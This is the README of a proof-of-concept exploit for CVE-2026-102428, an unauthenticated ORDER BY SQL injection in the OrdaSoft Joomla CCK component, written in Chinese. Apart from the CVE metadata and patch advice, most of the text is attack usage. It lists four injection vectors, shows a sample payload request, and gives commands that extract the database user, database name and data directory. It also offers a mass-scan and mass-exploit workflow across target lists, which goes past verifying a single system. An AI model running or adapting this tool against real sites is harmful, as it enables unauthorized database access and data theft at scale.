针对 CVE-2026-102428 的 Python 3 PoC —— OrdaSoft Joomla CCK 1.0.0–8.3.15。已在 8.3.16+ 中修复(与上传 RCE CVE-2026-102427 同一版本)。
| PoCbit | https://pocbit.org/pocs/cve-2026-102428 |
| 组件 | com_os_cck |
| 参数 | order_field、order_direction → ORDER BY(无列白名单) |
| 认证 | 无(公开的 CCK 记录列表) |
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-102428 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-102428 |
| 受影响版本 | 1.0.0 – 8.3.15 |
| 修复版本 | ≥ 8.3.16 |
| CWE | CWE-89 |
| CVSS 4.0 | 9.3 严重(AV:N/AC:L/AT:N/PR:N/UI:N) |
| 验证标记 | POCBIT-102428-OK |
OrdaSoft Joomla CCK 在 8.3.16 之前存在未授权 SQL 注入。在列出 CCK 记录的公开页面上,排序列来自客户端,并被追加到 SQL ORDER BY 子句中,且未针对真实表列进行校验(仅有基于关键字的过滤)。无需登录。8.3.16 增加了允许排序键的白名单,并将排序方向限制为安全的 ASC/DESC 值——同一软件包还修复了上传 RCE CVE-2026-102427。
根本原因: ORDER BY 标识符无法作为预处理语句参数进行绑定;该扩展必须对排序列进行白名单限制。8.3.16 之前的代码在列表排序路径上信任了客户端输入。
--mode exploit)利用模式与 check 不同:它跳过对“候选”的评分,直接尝试提取数据。无需认证。目标必须至少暴露一个公开的 CCK 记录列表路由。
/ 和 /index.php 以查找 com_os_cck 链接:catid、Itemid、sefid / fk_eid,以及站点上出现的 task= 值。showCategory、showInstances、search、……)加上从 HTML 中提取的额外任务;尝试 catid / Itemid / sefid 的组合(最多 18 个有效列表路由)。order_field=id&order_direction=asc(预热列表排序代码路径)。order_field 或 order_direction 中嵌入 MySQL 重复键 / GROUP BY 风格的子查询;从响应中解析 ~leak~ 或 SQL 错误文本。exploited: true。来自 check 模式的 hits.txt 是很好的批量利用输入(即已发现 com_os_cck 和列表路由的站点)。
内部 SELECT 返回 POCBIT-102428-OK 和 MySQL VERSION(),用于 PoC 验证以及数据库版本:
python poc.py -u https://target.example --mode exploit
示例 leak:POCBIT-102428-OK:8.0.36
# Default marker + VERSION()
python poc.py -u https://target.example --mode exploit
# After first leak, also run user(), database(), @@version_compile_os
python poc.py -u https://target.example --mode exploit --chain
# Custom inner SELECT (no marker; do not use --verify with this)
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
# Force one vector (WAF / POST-only sites)
python poc.py -u https://target.example --mode exploit --vector order_field_get
python poc.py -u https://target.example --mode exploit --vector order_direction_post
# 1) Discovery + candidate list
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
# 2) Extraction
python poc.py --list hits.txt --mode exploit -j 15 --exploited-list exploited.txt
--output — 完整的 JSONL 日志(使用默认输出时,批量利用会自动命名为 cve_2026_102428_exploit.jsonl)。--exploited-list — 仅包含 exploited: true 行:URL<TAB>leak<TAB>vector。-j / --threads — 并行目标数(默认 20)。对于每个端点,PoC 会按顺序尝试以下向量(除非 --vector 强制指定其中一个):
| 向量 | HTTP | 参数 |
|---|---|---|
order_field_get | GET | order_field=<subquery expr> |
order_direction_get | GET | order_direction=asc,<subquery expr> |
order_field_post | POST | 表单 order_field |
order_direction_post | POST | 表单 order_direction=asc,<expr> |
order_field 的值会被插入到未加引号的 ORDER BY 表达式中,因此 (SELECT …) 风格的载荷可以在本应填写列名的位置通过。
列表路由(PoC 会追加该载荷):
GET /index.php?option=com_os_cck&task=showCategory&catid=1&order_field=(SELECT%206062%20FROM(...))&order_direction=asc HTTP/1.1
Host: target.example
对于类似搜索的任务,PoC 会添加诸如 submit=Search 和 search_text= 之类的字段。
| 字段 | 含义 |
|---|---|
exploited | 若至少获取到一处泄露,则为 true |
leak | 提取到的字符串(波浪号 / 错误解析) |
sqli_vector | 命中的向量名称 |
endpoint | task、catid、sefid、完整的 route URL |
leaks | 使用 --chain 时的额外查询结果 |
status | sqli_extract_ok,或 blocked_or_patched / no_route |
endpoints_tried | 失败时尝试了多少条路由 |
verify_marker | 预期的 PoC 签名(POCBIT-102428-OK) |
退出码: 仅当 exploited: true 时为 0;否则为 1(便于 CI/脚本使用)。
| 标志 | 含义 |
|---|---|
--subquery | ORDER BY 载荷内部的 SELECT(默认:标记 + VERSION()) |
--verify | 除非泄露内容包含 POCBIT-102428-OK,否则不计为成功 |
--chain | 首次成功后,还会拉取 user()、database()、@@version_compile_os |
--vector | 强制使用四种向量之一 |
--timeout | HTTP 超时(秒) |
--proxy | 例如 http://127.0.0.1:8080 |
--quiet | 最小化日志;单个 -u 仍会打印 JSON |
--aggressive 仅适用于 check 模式;exploit 始终会尝试提取。
| 状态 / 情况 | 含义 |
|---|---|
sqli_extract_ok + exploited: true | 漏洞已被利用;leak 可用 |
no_route | 未找到公开的 CCK 列表(组件被禁用、自定义 URL) |
blocked_or_patched | 路由存在但无泄露 → WAF、8.3.16+,或非 MySQL(PoC 基于 MySQL 错误) |
| check 命中,但 exploit 无泄露 | 使用 check 的 sqli_vector 中的 --vector 重试,或使用 --aggressive 运行 check |
适用于基于错误载荷的简短表达式:
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --subquery "SELECT database()"
python poc.py -u https://target.example --mode exploit --subquery "SELECT @@datadir"
此 PoC 不实现长时间的 UNION 或基于时间的盲注链;其目标是快速进行基于错误的验证与情报提取。
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
对 administrator/components/com_os_cck/os_cck.xml 进行指纹识别,通过 com_os_cck 提示,并使用随机标记确认 SQLi(可选通过 --aggressive 进行 VERSION() 泄露)。
cd CVE-2026-102428
pip install -r requirements.txt
body="com_os_cck"
结合 manifest 版本检查(os_cck.xml)并修补至 ≥ 8.3.16。
| CVE | 漏洞 | 修复版本 |
|---|---|---|
| CVE-2026-102428 | 未授权 ORDER BY SQL 注入(order_field) | 8.3.16 |
| CVE-2026-102427 | 未授权上传 → RCE(getContent) | 8.3.16 |
仅限经授权的安全测试。
CVE-2026-102428 PoC: OrdaSoft Joomla OS CCK (com_os_cck) <=8.3.15 unauth SQLi — order_field/order_direction ORDER BY injection on public listings. Check + mass exploit, POCBIT-102428-OK marker, CVSS 9.3. https://pocbit.org/pocs/cve-2026-102428